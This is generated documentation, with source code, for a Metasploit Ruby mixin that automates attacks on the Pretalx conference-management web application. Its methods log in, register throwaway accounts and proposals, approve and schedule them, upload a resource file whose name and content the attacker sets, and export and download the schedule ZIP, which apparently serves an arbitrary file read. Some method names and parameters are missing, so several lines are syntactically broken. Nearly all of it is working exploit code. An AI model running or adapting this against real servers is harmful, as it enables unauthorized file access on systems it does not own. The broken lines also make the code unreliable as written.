Module: Msf::Exploit::Remote::HTTP::Pretalx

Includes:
Error, Msf::Exploit::Remote::HttpClient
Defined in:
lib/msf/core/exploit/remote/http/pretalx.rb

Defined Under Namespace

Modules: Error

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #sslkeylogfile, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Methods included from Kerberos::ServiceAuthenticator::Options

#kerberos_auth_options

Methods included from Kerberos::Ticket::Storage

#kerberos_storage_options, #kerberos_ticket_storage, store_ccache

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Instance Method Details

#add_proposal_to_schedule(proposal_name) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 287

def add_proposal_to_schedule(proposal_name)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'api', 'talks/')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get list of approved submissions') unless res&.code == 200

  json_data = res.get_json_document

  proposal = json_data.fetch('results', nil)&.find { |l| l['title'] == proposal_name }

  fail_with(Msf::Module::Failure::NotFound, "Could not find approved submission with name #{proposal_name}") unless proposal

  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('api', 'events', datastore['CONFERENCE_NAME'], 'rooms/')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get list of rooms') unless res&.code == 200

  rooms_json = res.get_json_document
  rooms_list = rooms_json.fetch('results', nil)
  fail_with(Msf::Module::Failure::Unknown, 'Received malformed JSON of rooms') unless rooms_list
  rooms_list.each do |value|
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'api', 'availabilities', proposal['id'], value['id'])
    })
    next unless res&.code == 200

    availability_json = res.get_json_document.fetch('results', nil)

    next unless availability_json

    availability_json.each do |timeslot|
      schedule_slot = { 'room' => value.fetch('id', nil)&.to_s, 'start' => timeslot.fetch('start', nil), 'duration' => 30, 'description' => '' }

      res = send_request_cgi({
        'method' => 'PATCH',
        'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'api', 'talks', "#{proposal['id']}/"),
        'data' => JSON.generate(schedule_slot),
        'headers' => { 'X-CSRFToken' => @pretalx_token }
      })
      return true if res&.code == 200
    end
  end
  false
end

#approve_proposal(proposal_name) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 211

def approve_proposal(proposal_name)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'submissions/')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not find submissions') unless res&.code == 200

  html = res.get_html_document

  proposal_element = html.xpath('//td/a')&.find { |link| link.text.strip == proposal_name }

  fail_with(Msf::Module::Failure::Unknown, 'Failed to find URI to proposal') unless proposal_element

  proposal_uri = proposal_element['href']

  fail_with(Msf::Module::Failure::Unknown, 'Could not find proposal ID') unless proposal_uri =~ %r{/orga/event/#{datastore['CONFERENCE_NAME']}/submissions/([a-zA-Z0-9]+)/}

  proposal_id = Regexp.last_match(1)

  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(proposal_uri)
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to get proposal approval page') unless res&.code == 200

  html = res.get_html_document

  approval_link = html.at('a[@class="dropdown-item submission-state-accepted"]')

  fail_with(Msf::Module::Failure::Unknown, 'Could not find approval element, user might not have sufficient permissions') unless proposal_element

  approval_uri = approval_link['href']

  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(approval_uri)
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to get submission approval page') unless res&.code == 200

  next_token = res.get_hidden_inputs.dig(0, 'next')
  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')

  fail_with(Msf::Module::Failure::Unknown, 'Could not find required hidden inputs') unless next_token && csrf_token

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(approval_uri),
    'vars_post' => { 'csrfmiddlewaretoken' => csrf_token, 'next' => next_token }
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get approve submission') unless res&.code == 302

  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', proposal_id, 'confirm')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get approval confirmation page') unless res&.code == 200

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')

  fail_with(Msf::Module::Failure::Unknown, 'Could not find csrf token') unless next_token && csrf_token

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', proposal_id, 'confirm'),
    'vars_post' => { 'csrfmiddlewaretoken' => csrf_token }
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not confirm approval') unless res&.code == 302
  return proposal_id
end

#create_account_info(submit_uri, login_email, login_password, register_name, register_email, register_password) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 105

def (submit_uri, , , register_name, register_email, register_password)
  res = get_registration_step(submit_uri)

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')

  fail_with(Msf::Module::Failure::Unknown, 'Could not find hidden inputs: creating account info') unless submit_uri && csrf_token

  data_post = Rex::MIME::Message.new
  data_post.add_part(csrf_token, nil, nil, %(form-data; name="csrfmiddlewaretoken"))
  data_post.add_part(csrf_token, nil, nil, %(form-data; name="csrfmiddlewaretoken"))
  data_post.add_part(, '', '', %(form-data; name="login_email"))
  data_post.add_part(, '', '', %(form-data; name="login_password"))
  data_post.add_part(register_name, '', '', %(form-data; name="register_name"))
  data_post.add_part(register_email, '', '', %(form-data; name="register_email"))
  data_post.add_part(register_password, '', '', %(form-data; name="register_password"))
  data_post.add_part(register_password, '', '', %(form-data; name="register_password_repeat"))

  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(submit_uri),
    'data' => data_post.to_s,
    'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
  })
end

#create_general_info(submit_uri, proposal_name, abstract, description, notes, image, additional_speaker) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 78

def create_general_info(submit_uri, proposal_name, abstract, description, notes, image, additional_speaker)
  res = get_registration_step(submit_uri)

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')
  submission_type = res.get_hidden_inputs.dig(0, 'submission_type')

  fail_with(Msf::Module::Failure::Unknown, 'Could not find hidden inputs: creating general info') unless submit_uri && csrf_token
  data_post = Rex::MIME::Message.new

  data_post.add_part(csrf_token, '', '', %(form-data; name="csrfmiddlewaretoken"))
  data_post.add_part(proposal_name, '', '', %(form-data; name="title"))
  data_post.add_part(submission_type, '', '', %(form-data; name="submission_type"))
  data_post.add_part('en', '', '', %(form-data; name="content_locale"))
  data_post.add_part(abstract, '', '', %(form-data; name="abstract"))
  data_post.add_part(description, '', '', %(form-data; name="description"))
  data_post.add_part(notes, '', '', %(form-data; name="notes"))
  data_post.add_part(image, 'application/octet-stream', '', %(form-data; name="image"; filename=""))
  data_post.add_part(additional_speaker, '', '', %(form-data; name="additional_speaker"))

  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(submit_uri),
    'data' => data_post.to_s,
    'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
  })
end

#create_profile_info(submit_uri) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 130

def create_profile_info(submit_uri)
  res = get_registration_step(submit_uri)

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')

  fail_with(Msf::Module::Failure::Unknown, 'Could not found hidden inputs: creating profile info') unless submit_uri && csrf_token

  data_post = Rex::MIME::Message.new
  data_post.add_part(csrf_token, '', '', %(form-data; name="csrfmiddlewaretoken"))
  data_post.add_part('', 'application/octet-stream', '', %(form-data; name="avatar"; filename=""))
  data_post.add_part(Rex::Text.rand_text_alphanumeric(10), '', '', %(form-data; name="name"))
  data_post.add_part(Rex::Text.rand_text_alphanumeric(10), '', '', %(form-data; name="biography"))
  data_post.add_part(%({"availabilities":[]}), '', '', %(form-data; name="availabilities"))

  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(submit_uri),
    'data' => data_post.to_s,
    'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
  })
end

#debug? ⇒ Boolean

Returns:

  • (Boolean)

Raises:



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 16

def debug?
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'admin/')
  })

  raise DebugError unless res&.code == 200
  res.body&.include?('running in development mode')
end

#download_zip ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 379

def download_zip
  res = send_request_cgi!({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'export', 'download')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not download ZIP file') unless res&.code == 200
  return res.body
end

#edit_proposal(abstract, description, proposal_id, proposal_name, resource_name, resource_data) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 436

def edit_proposal(abstract, description, proposal_id, proposal_name, resource_name, resource_data)
  res = get_submission_edit(proposal_id)
  hidden_inputs = res.get_hidden_inputs
  html = res.get_html_document

  csrf_token = hidden_inputs.dig(0, 'csrfmiddlewaretoken')
  submission_type = html.at("select[@name='submission_type']//option[@selected]")['value']
  content_locale = hidden_inputs.dig(0, 'content_locale')
  res_initial_forms = hidden_inputs.dig(0, 'resource-INITIAL_FORMS')
  res_min_num_forms = hidden_inputs.dig(0, 'resource-MIN_NUM_FORMS')
  res_max_num_forms = hidden_inputs.dig(0, 'resource-MAX_NUM_FORMS')

  data_post = get_resource_data({ 
    csrf_token: csrf_token, 
    proposal_name: proposal_name,
    submission_type: submission_type, 
    content_locale: content_locale,
    abstract: abstract,
    description: description,
    notes: Rex::Text.rand_text_alphanumeric(16),
    image: '',
    total_forms: '1',
    initial_forms: res_initial_forms, 
    min_num_forms: res_min_num_forms,
    max_num_forms: res_max_num_forms, 
    resource_id: '', 
    resource_description: Rex::Text.rand_text_alphanumeric(4),
    resource_name: resource_name, 
    resource_content: resource_data 
  })

  res = send_request_cgi!({
    'method' => 'POST',
    'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', "#{proposal_id}/"),
    'data' => data_post.to_s,
    'ctype' => "multipart/form-data; boundary=#{data_post.bound}"
  })

  fail_with Failure::PayloadFailed unless res&.code == 200

  res
end

#export_zip ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 360

def export_zip
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'export/')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get export page') unless res&.code == 200

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')

  res = send_request_cgi!({
    'method' => 'POST',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'export', 'trigger'),
    'vars_post' => { 'csrfmiddlewaretoken' => csrf_token }
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not export schedule') unless res&.code == 200
end

#get_registration_step(uri) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 67

def get_registration_step(uri)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(uri),
    'keep_cookies' => true
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to fetch registration step') unless res&.code == 200
  res
end

#get_resource_data(opts = {}) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 399

def get_resource_data(opts = {})
  csrf_token = opts[:csrf_token] || ''
  proposal_name = opts[:proposal_name] || ''
  submission_type = opts[:submission_type] || ''
  content_locale = opts[:content_locale] || ''
  abstract = opts[:abstract] || ''
  description = opts[:description] || ''
  notes = opts[:notes] || ''
  image = opts[:image] || ''
  total_forms = opts[:total_forms] || ''
  initial_forms = opts[:initial_forms] || ''
  min_num_forms = opts[:min_num_forms] || ''
  max_num_forms = opts[:max_num_forms] || ''
  resource_id = opts[:resource_id] || ''
  resource_description = opts[:resource_description] || ''
  resource_name = opts[:resource_name] || ''
  resource_content = opts[:resource_content] || ''

  data_post = Rex::MIME::Message.new
  data_post.add_part(csrf_token, '', '', %(form-data; name="csrfmiddlewaretoken"))
  data_post.add_part(proposal_name, '', '', %(form-data; name="title"))
  data_post.add_part(submission_type, '', '', %(form-data; name="submission_type"))
  data_post.add_part(content_locale, '', '', %(form-data; name="content_locale"))
  data_post.add_part(abstract, '', '', %(form-data; name="abstract"))
  data_post.add_part(description, '', '', %(form-data; name="description"))
  data_post.add_part(notes, '', '', %(form-data; name="notes"))
  data_post.add_part(image, 'application/octet-stream', '', %(form-data; name="image"; filename=""))
  data_post.add_part(total_forms, '', '', %(form-data; name="resource-TOTAL_FORMS"))
  data_post.add_part(initial_forms, '', '', %(form-data; name="resource-INITIAL_FORMS"))
  data_post.add_part(min_num_forms, '', '', %(form-data; name="resource-MIN_NUM_FORMS"))
  data_post.add_part(max_num_forms, '', '', %(form-data; name="resource-MAX_NUM_FORMS"))
  data_post.add_part(resource_id, '', '', %(form-data; name="resource-0-id"))
  data_post.add_part(resource_description, '', '', %(form-data; name="resource-0-description"))
  data_post.add_part(resource_content, 'application/octet-stream', '', %(form-data; name="resource-0-resource"; filename="#{resource_name}"))
  return data_post
end

#get_submission_edit(proposal_id) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 389

def get_submission_edit(proposal_id)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'me', 'submissions', "#{proposal_id}/")
  })

  fail_with Failure::UnexpectedReply unless res&.code == 200
  res
end

#get_version ⇒ Object

Raises:



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 26

def get_version
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'event/'),
    'keep_cookies' => true
  })

  raise VersionCheckError unless res&.code == 200

  html = res.get_html_document
  version_element = html.at('span//a')&.text
  return Rex::Version.new(version_element)
end

#initialize(info = {}) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 9

def initialize(info = {})
  super
  register_options([
    OptString.new('CONFERENCE_NAME', [true, 'Name of conference on behalf which file read will be performed']),
  ])
end

#login(user_email, user_password) ⇒ Object

Raises:



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 40

def (user_email, user_password)
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'login/'),
    'keep_cookies' => true
  })
  
  raise UnexpectedResponseError unless res&.code == 200

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')

  raise CsrfError unless csrf_token

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri('orga', 'login/'),
    'vars_post' => { 'csrfmiddlewaretoken' => csrf_token, 'login_email' => user_email, 'login_password' => user_password },
    'keep_cookies' => true
  })

  raise SessionCookieError unless res.get_cookies =~ /pretalx_csrftoken=([a-zA-Z0-9]+);/

  @pretalx_token = Regexp.last_match(1)

  res&.code == 302
end

#register_proposal(proposal_info = {}) ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 152

def register_proposal(proposal_info = {})
  proposal_name = proposal_info[:proposal_name] || Rex::Text.rand_text_alphanumeric(10)
  abstract = proposal_info[:abstract] || Rex::Text.rand_text_alphanumeric(10)
  description = proposal_info[:description] || ''
  notes = proposal_info[:notes] || ''
  image = proposal_info[:image] || ''
  additional_speaker = proposal_info[:additional_speaker] || ''
  if proposal_info.fetch(:email, nil) && proposal_info.fetch(:password, nil)
     = proposal_info[:email]
     = proposal_info[:password]
    register_name = ''
    register_email = ''
    register_password = ''
  else
     = ''
     = ''
    register_name = Rex::Text.rand_text_alphanumeric(10)
    register_email = Rex::Text.rand_mail_address
    register_password = Rex::Text.rand_text_alphanumeric(15)
  end

  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(datastore['CONFERENCE_NAME'], 'submit/')
  })
  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get proposal submission page') unless res&.code == 302
  general_info_uri = res.headers.fetch('Location', nil)

  fail_with(Msf::Module::Failure::Unknown, 'Could not get general info page') unless general_info_uri

  res_general_info = create_general_info(general_info_uri, proposal_name, abstract, description, notes, image, additional_speaker)

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Proposal submission failed on General Info step') unless res_general_info&.code == 302

   = res_general_info.headers.fetch('Location', nil)
  if .include?('/user')
    fail_with(Msf::Module::Failure::Unknown, 'Could not get account info page') unless 

     = (, , , register_name, register_email, register_password)

    fail_with(Msf::Module::Failure::UnexpectedReply, 'Proposal submission failed on Account Info step') unless &.code == 302

    profile_info_uri = .headers.fetch('Location', nil)
  else
    profile_info_uri = res_general_info.headers.fetch('Location', nil)
  end

  fail_with(Msf::Module::Failure::Unknown, 'Could not get profile info page') unless profile_info_uri

  res_profile_info = create_profile_info(profile_info_uri)

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Proposal submission failed on Profile Info step') unless res_profile_info&.code == 302

  user_email = (.empty?) ? register_email : 
  user_password = (.empty?) ? register_password : 

  return { email: user_email, password: user_password, proposal_name: proposal_name }
end

#release_schedule ⇒ Object 



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# File 'lib/msf/core/exploit/remote/http/pretalx.rb', line 337

def release_schedule
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'release')
  })

  fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not get schedule release') unless res&.code == 200

  csrf_token = res.get_hidden_inputs.dig(0, 'csrfmiddlewaretoken')
  html = res.get_html_document
  version = html.at('input[@id="id_version"]')
  fail_with(Msf::Module::Failure::Unknown, 'Could not get id_version') unless version
  version_value = version['value']

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri('orga', 'event', datastore['CONFERENCE_NAME'], 'schedule', 'release'),
    'vars_post' => { 'csrfmiddlewaretoken' => csrf_token, 'version' => version_value, 'comment_0' => '', 'notify_speakers' => 'off' }
  })

  fail_with(Msf::Module::Failure::Unknown, 'Failed to release schedule') unless res&.code == 302
end